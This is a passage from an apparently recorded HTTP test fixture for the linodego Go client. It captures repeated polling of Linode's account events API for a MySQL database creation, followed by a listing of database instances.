Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": null, "rate": null, "duration": 2550, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "finished", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "448" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances method: GET response: body: '{"data": [{"id": 23355, "label": "tf_test-8585210487497797453", "type": "g6-nanode-1", "engine": "mysql", "version": "5.7.39", "region": "us-iad", "status": "provisioning", "encrypted": false, "allow_list": [], "cluster_size": 1, "hosts": {"primary": null, "secondary": null}, "ssl_connection": false, "replication_type": "none", "port": 3306, "updates": {"frequency": "weekly", "duration": 3, "hour_of_day": 0, "day_of_week": null, "week_of_month": null}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}, {"id": 28254, "label": "go-mysql-test-def", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "active", "encrypted": false, "allow_list": ["203.0.113.1", "192.0.1.0/24"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "weekly", "duration": 3, "hour_of_day": 1, "day_of_week": 7, "week_of_month": null}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter 